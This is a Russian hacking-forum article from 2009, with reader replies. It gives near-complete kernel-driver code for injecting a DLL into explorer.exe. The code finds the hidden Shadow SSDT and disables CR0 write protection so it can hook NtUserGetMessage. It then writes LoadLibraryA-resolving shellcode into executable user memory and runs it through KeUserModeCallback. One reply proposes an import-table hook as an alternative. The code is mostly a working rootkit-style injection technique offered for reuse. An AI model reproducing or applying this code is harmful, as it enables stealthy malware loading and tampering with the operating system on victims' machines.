Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Inject DLL в процесс из kernel-mode (https://forum.antichat.xyz/showthread.php?t=108515)

slesh 28.02.2009 22:45

Inject DLL в процесс из kernel-mode
 
В одной из своих разработак столкнулся с проблемкой - необходимо подгрузить определенную DLL к эксплореру. Сложность задачи была в том, что необходимо было это всё сделать из драйвера. Реализация вышла геморной и через жопу, но работает нормально на Win 2000,XP,2003 на остальных нет возможностей потестить.

И так алгоритм таков:
1) попасть в контекст нужного процесса (эксплорера)
2) выделить в нем память в его юзермодной части адресов
3) записать в эту память шелкод который подгрузит нашу dll
4) выполнить шелкод
5) каким то образом узнать о том, что код выполнился.
С виду всё просто, но на практике столкнулся с несколькими жопными моментами -
таких как попадание в контекст процесса, и запуск нужного нам кода.

А теперь по парядку как всё было реализовано
1) Попадание в контекст процесса
Т.к. эксплорер ничего не знает о нашем драйвере, то и обращаться к нему не станет, по этому нам нужно чтото похукать чтобы попасть в контекст эксплорера.
По логике вещей хукать нужно то, что часто вызывается. Сразу в голову пришло хукать SYSENTER и в добавок для win2k еще и INT2E. Но метод отпал быстро из-за очень геморной реализации хука SYSENTER в плане работы внутри хука.
Можно было еще похукать какойнить драйвер и в перехватчике IRP_MJ_*** выполнять наши данные. Но в виду хз каких обстоятельств сразу недодумался до этого и пошел другим путём. А именно - хук какойнить часто используемой функции из ntoskrnl.exe. Хукал через SDT одну фунцию работы с реестром, но это не помогло т.к. не иногда ждать приходилось пару минут в виду того что эксплорер редко работал с реестром в неактивном состоянии. По этому пришлось хукать функции win32k.sys отвечающие за работу с графической подсистемой винды. И тут появились первые ступоры - хукать нужно не в ServiceDescriptorTable а в ShadowServiceDescriptorTable которая в отличии от ServiceDescriptorTable напрямую не экспортируется. Для поиска ShadowSDT был заюзан способ поиска через KeAddSystemServiceTable.

Код:

typedef struct _SYSTEM_SERVICE_TABLE
 {
  PNTPROC ServiceTable;
  PDWORD CounterTable;
  ULONG ServiceLimit;
  PBYTE ArgumentTable;
 } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;

typedef struct _SERVICE_DESCRIPTOR_TABLE
 {
  SYSTEM_SERVICE_TABLE ntoskrnl;  //SST для ntoskrnl.exe
  SYSTEM_SERVICE_TABLE win32k;    //SST для win32k.sys
  SYSTEM_SERVICE_TABLE unused1;
  SYSTEM_SERVICE_TABLE unused2;
 } SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;

PSERVICE_DESCRIPTOR_TABLE ShadowTable;
extern SYSTEM_SERVICE_TABLE * KeServiceDescriptorTable;
__declspec(dllimport) KeAddSystemServiceTable(ULONG,ULONG,ULONG,ULONG,ULONG);

SYSTEM_SERVICE_TABLE * GetShadowSDT()
 { 
  unsigned char *check = (unsigned char*)KeAddSystemServiceTable;
  int i;
  SYSTEM_SERVICE_TABLE *rc=0;
  for (i=0; i<=99; i++)
  {
        __try
        {
          rc=*(SYSTEM_SERVICE_TABLE**)check;
          if (!MmIsAddressValid(rc)||(rc==KeServiceDescriptorTable)||(memcmp(rc,KeServiceDescriptorTable,sizeof(*rc))!=0))
            {
                check++; 
                rc = 0;
          }
        }
    __except (EXCEPTION_EXECUTE_HANDLER) {rc=0;}
    if (rc) break;
  }
 return rc;
}

Теперь через функцию GetShadowSDT мы сможет получить нужным нам адрес.
Установка хука происходит точно также как и в SDT но с учетом того, что мы должны предварительно приаттачится к нужному нам процессу через KeAttachProcess. Чтобы приаттачиться нам необходимо знать PEPROCESS процесса. Его мы будет получать через PsLookupProcessByProcessId. И по этому у нас появляется необходимость узнать PID эксплорера. Делаем так:
Код:

#define SystemProcessInformation 5
int GetPidByName(WCHAR * name)
{
 PSYSTEM_PROCESSES_INFORMATION pSystemProcessesInfo, pInfo;       
 NTSTATUS ns;
 ULONG dSize=4096;
 ULONG dData=0;
 PVOID shi;
 do
  {
  shi=ExAllocatePool(NonPagedPool,dSize);
  if (shi==NULL) return 0;
  ns=ZwQuerySystemInformation(SystemProcessInformation,shi,dSize,&dData);
  if (ns==STATUS_INFO_LENGTH_MISMATCH)
    {
        ExFreePool(shi);
    dSize*=2;
        }
  } while (ns!=0);
 pSystemProcessesInfo=pInfo=(PSYSTEM_PROCESSES_INFORMATION)shi;
 ns=0;
 if (pSystemProcessesInfo)
  {
  while (1)
        {
        if (pSystemProcessesInfo->ProcessName.Buffer)
          {
          if (!wcscmp(pSystemProcessesInfo->ProcessName.Buffer, name))
            {
                ns=pSystemProcessesInfo->ProcessId;
                break;
                }
      }
        if (!pSystemProcessesInfo->NextEntryDelta) break;
          pSystemProcessesInfo = (PSYSTEM_PROCESSES_INFORMATION)((ULONG)pSystemProcessesInfo + pSystemProcessesInfo->NextEntryDelta);
  }
  }
 ExFreePool(pInfo);
 return ns;
}

Теперь вызов pid=GetPidByName(L"explorer.exe"); даст нам нужный PID.
При выборе функции для хука взгляд пал на NtUserGetMessage т.к. она очень активно используется процессами у которых есть окна.
Получаем ID этой функции в таблице с учетом ОС
Код:

switch (*NtBuildNumber)
 {
  case 2195:NtUserGetMessageID=0x19A; break; // win 2k
  case 2600:NtUserGetMessageID=0x1A5; break; // win XP
  case 3790:NtUserGetMessageID=0x1A4; break;  // win 2k3
  default: return -1;
 }

Для того чтобы ставить хук и снимать его была написана спец функция
Код:

// NewADDR - адрес нового обработчике
// ID - номер сервиса в таблице
// type -
// 0 - установить перехват
// 1 - снять перехват из-за таймаута
// 2 - снять перехват в случие удачи
BOOLEAN HOOK_SHADOW(PVOID NewADDR,ULONG ID,ULONG type)
{
 NTSTATUS status;
 PEPROCESS EProc;
// если type=2 то ном не нужно аттачитсья к процессу, т.к. мы уже приаттачины к ниму.
 if (type<2) // Если хукаем или снимаем хук по таймауту
  {
  // pid - глобальная переменная, хранит PID эксплорера
  status=PsLookupProcessByProcessId(pid, &EProc); // получаем PEPROCESS эксплорера
  if (!NT_SUCCESS(status)) return FALSE;
  KeAttachProcess(EProc);
  }

 if (type==0) // если ставим хук
  {
  // сохраним в глобальную переменную настоящий адрес функции
  TrueNtUserGetMessage=ShadowTable->win32k.ServiceTable[ID];
  }
// отключам защиту памяти
 __asm
  {
  CLI
  MOV EAX,CR0
  AND EAX,NOT 10000H
  MOV CR0,EAX
  }
  ShadowTable->win32k.ServiceTable[ID]=NewADDR; //хукаем
// включаем защиту памяти
 __asm
  {
  MOV EAX,CR0
  OR EAX,10000H
  MOV CR0,EAX
  STI
  }
 if (type<2) KeDetachProcess(); // деаттачимся от процесса если надо.
 return TRUE;
}

Чтобы поставить хук нужно выполнить:
HOOK_SHADOW(MyNtUserGetMessage,NtUserGetMessageID, 0)
Чтобы снять
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageI D,1); // по таймауту
или
HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageI D,2);
Обработчик хука будет выглядеть так:
Код:

BOOLEAN MyNtUserGetMessage(OUT ULONG pmsg,IN ULONG hwnd,IN ULONG wMsgFilterMin,IN ULONG wMsgFilterMax)
{
 // inhook - шлобальная переменнах хранящая инфу о хуке
// 0 - снят.
// 1 - установлен
 if (inhook!=0&&(ULONG)PsGetCurrentProcessId()==pid) // если хук поставлен и нужный нам PID
  {
 // проверли inhook чтобы сделать простенькую синхронизацию
  HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,2); // снимаем хук
  inhook=0;
  DLLINJECTPROC(); // вызываем нашу процедуру инжекта DLL
 //  Для уведомления об результате
  KeSetEvent(&event,0,FALSE);
  KeClearEvent(&event);
  }
// вызываем настоящий обработчик
 return TrueNtUserGetMessage(pmsg,hwnd,wMsgFilterMin,wMsgFilterMax);

2) Выделяем память, кидаем туда шелкод и выполняем его
Вся работа по выделению памяти и запуску шелкода была переложена на DLLINJECTPROC. вызов юзермодного когда будет осущствляться через KeUserModeCallback (Огромное спасибо Twister за метод)
Код:


typedef struct _CMD_PARAMS
 {
  PCHAR dll;
} CMD_PARAMS, * PCMD_PARAMS;

VOID DLLINJECTPROC(VOID)
{
 PROCESS_BASIC_INFORMATION pbi;
 NTSTATUS status;
 int ret;
 PPEB Peb=NULL;
 PVOID pMem = NULL, OutputBuffer,CmdAddr;
 ULONG OutputLength;
 ULONG dwSize = PAGE_SIZE; // 4 Кб
 ULONG KernelCallbackTable = 0;
 ULONG TableIndex, dwUserCodeSize;
 GLobalStatus=-1;
 
// получаем PEB процесса
 status=ZwQueryInformationProcess((HANDLE)-1, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
 if (NT_SUCCESS(status))
  {
        Peb = pbi.PebBaseAddress;
  }
 if (Peb)
  {
  KernelCallbackTable=*(ULONG*)((ULONG)Peb + 0x2C);  // вычесляем адрес таблицы
 // выделям память в юзермодном пространстве
  status=ZwAllocateVirtualMemory((HANDLE)-1, &pMem, 0, &dwSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
  if (NT_SUCCESS(status))
        {
        *(ULONG*)pMem=(ULONG)pMem+4;
        TableIndex=((ULONG)pMem-KernelCallbackTable)/sizeof(ULONG);
        dwUserCodeSize=(ULONG)SHELLCODE_END-(ULONG)SHELLCODE_START;
        CmdAddr = (PVOID)((ULONG)pMem+4+dwUserCodeSize);
        __try
          {
                    // копируем в буфер шелкод и имя dll
                RtlCopyMemory((PVOID)((ULONG)pMem + 4), SHELLCODE_START, dwUserCodeSize);
                RtlCopyMemory(CmdAddr, StackParams.dll, strlen(StackParams.dll));
            StackParams.dll=CmdAddr;
                  // вызываме наш код
                status = KeUserModeCallback(TableIndex,&StackParams,sizeof(CMD_PARAMS),&OutputBuffer,&OutputLength );
                  // наш код должен вернуть 0xDEADC0DE
                // GLobalStatus - глобальная переменнах хранящая инфу о результате выполнения
                  if (status==0xDEADC0DE) GLobalStatus=0;
      }
        __except (EXCEPTION_EXECUTE_HANDLER)
          {
          }
          // удаляем память
        ZwFreeVirtualMemory((HANDLE)-1, &pMem, &dwSize, MEM_DECOMMIT);
        }
  }
 return; 
}

3) Собственно говоря шелкод
Алгоритм работы шелкода: Поиск адреса Kernel32.dll -> поиск адреса функции LoadLibraryA по её хешу -> LoadLibrary нашу DLL
Код:

ULONG SHELLCODE_START(PCMD_PARAMS lpData,ULONG dwDataSize)
{
 __asm
 {
  xor eax,eax
  add eax,fs:[eax+0x30]
  mov eax,[eax+0x0c]
  mov esi,[eax+0x1c]
  lodsd
  mov eax,[eax+0x08] // eax = адрес KERNEL32.DLL 
 
  mov ebx,eax
  add eax,[eax+0x3C] // PE заголовок
  mov edx,[eax+0x78]// Таблица экспорта
  add edx,ebx
  xor ecx,ecx
  mov edi,[edx+0x20]// Таблица экспортируемых имен
  add edi,ebx
 getproc_scan:
  mov esi,ebx
  add esi,[edi+(ecx)*4] //Адрес имени функции
  xor eax,eax
 getproc_hash:// считаем хеш
  rol eax,7
  xor al,[esi]
  inc esi
  cmp byte ptr [esi],0
  jnz getproc_hash
  xor eax,0xC8AC8026 // сравниваем с нашим хешем для LoadLibraryA
  jz getproc_found
  inc ecx
  cmp ecx,[edx+0x18]
  jne getproc_scan
  xor eax, eax
  jmp getproc_quit // если не нашли нужную апишку
 getproc_found: // если нашли
  mov eax,[edx+0x24]
  add eax,ebx
  mov ax,[eax+ecx*2]
  and eax,0x0000FFFF
  shl eax,2
  mov edx,[edx+0x1C]
  add edx,ebx
  mov eax,[edx+eax]
  add eax,ebx // eax = Адрес LoadLibraryA
 getproc_quit:
  mov ebx,[ebp+8]
  push [ebx] // занесем в стек имя нашел dll
  call eax
  mov eax,0xDEADC0DE // вернем наше магическое число
 }
}
VOID SHELLCODE_END(){}

4) Уведомление о выполнении и таймаут
С учетом всего вышеизложенного пишем функцию которая будет заниматься непосредственно подготовкой к подгрузке DLL
Код:

int InjectDLL(char* dllname)
{
 LARGE_INTEGER timeout;
 pid=GetPidByName(L"explorer.exe"); // получаем PID эксплорера
 if (pid==0) return -1; // если не смогли получить то выходим
 inhook=0;
 StackParams.dll=dllname; // указатель на имя нашел DLL
 KeInitializeEvent(&event, NotificationEvent, FALSE); // Создаем событие для уведобления
// Получаем ID сервиса для хука
 switch (*NtBuildNumber)
 {
  case 2195:NtUserGetMessageID=0x19A; break;
  case 2600:NtUserGetMessageID=0x1A5; break;
  case 3790:NtUserGetMessageID=0x1A4; break; 
  default: return -1;
 }
// находим адрес Shadow SDT
 ShadowTable=(PSERVICE_DESCRIPTOR_TABLE)GetShadowSDT();
 if (!ShadowTable) return -1; // если не нашли
// пытаемся хукать
 if (!HOOK_SHADOW(MyNtUserGetMessage,NtUserGetMessageID,0)) return -1;
// если хук установлен
 inhook=1;
 timeout.QuadPart=RELATIVE(SECONDS(100)); // 100 секунд даем для подгрузки DLL
// ждем положенное время
 if (KeWaitForSingleObject(&event, Executive, KernelMode,FALSE, &timeout) != STATUS_TIMEOUT)
  {
  // подгрузили удачно
  return GLobalStatus;
  }
 else
  {
  // если врмя истекло
  if (inhook!=0) // если хук до сих пор еще установлен
    {
      // снимаем хук по таймауту
      HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1);
      inhook=0;
    }
  return -1;
  }
}

Теперь когда нам нужно подгрузить dll мы выполним код:
InjectDLL("MyDLL.dll");
P.S. dll желательно чтобы находилась в SYSTEM32, в противном случае лучше указать тогда полный путь до неё.

В заключение
Чтобы не было глюков связанных с тем, что хук установлен и драйвер выгружается из системы, то напишим функцию которую необходимо будет вызвать из анлоада драйвера. Функция в случае наличия перехвата снимит его
Код:

VOID StopInject(VOID)
{
 if (inhook!=0)
  {
  HOOK_SHADOW(TrueNtUserGetMessage,NtUserGetMessageID,1);
  inhook=0;
  }
 return;
}

Ну вот и всё!!! Садомазо удалось!
(C) SLESH 2009

desTiny 01.03.2009 23:18

Молодец! Как всякому труЪ-кодеру достаточно знать, что нечто теоретически возможно, чтобы сотворить это если приспичит!

PS while (inhook!=0), while (ns!=0) - непохек)

slesh 02.03.2009 01:08

Цитата:

while (inhook!=0), while (ns!=0) - непохек)
Дурная привычка со старых времем. Хотя один хер компилятор переведет все варианты в jnz )

De-visible 21.03.2009 14:16

интересно, даже очень интересно, только вот проблема в том что С/С++ не знаю(...
Попробую позже разобраться +

winterfrost 12.05.2009 02:05

спосибо, статйа интересна. Ещё можно захватить PeekMessageW в импортах эксплорера, и выполнять в шелкоде загрузку своей dll.
Цитата:

Можно было еще похукать какойнить драйвер и в перехватчике IRP_MJ_*** выполнять наши данные
Не совсем понял. Разве обработчик IRP быдет выполняться в контексте explorer.exe?


Время: 06:34